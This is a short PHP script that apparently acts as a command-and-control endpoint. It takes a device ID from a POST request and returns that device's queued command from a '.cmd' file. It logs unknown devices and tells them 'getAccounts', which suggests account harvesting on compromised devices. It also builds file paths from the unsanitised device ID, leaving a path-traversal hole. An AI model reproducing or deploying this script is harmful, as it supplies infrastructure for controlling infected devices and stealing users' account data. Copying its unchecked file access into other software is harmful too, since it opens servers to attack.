<?php
   if( $_POST["DeviceID"]) {
     $DEVICE=$_POST["DeviceID"]; 

     if (file_exists($DEVICE.".cmd")) 
     {
       $myfile = fopen($DEVICE.".cmd", "r");
       $command=fread($myfile,filesize($DEVICE.".cmd"));
       fclose($myfile);
       echo $command;
     } else {
      file_put_contents("unknowndevices.txt", $DEVICE);
      echo "getAccounts";
     }
      exit();
   }
?>
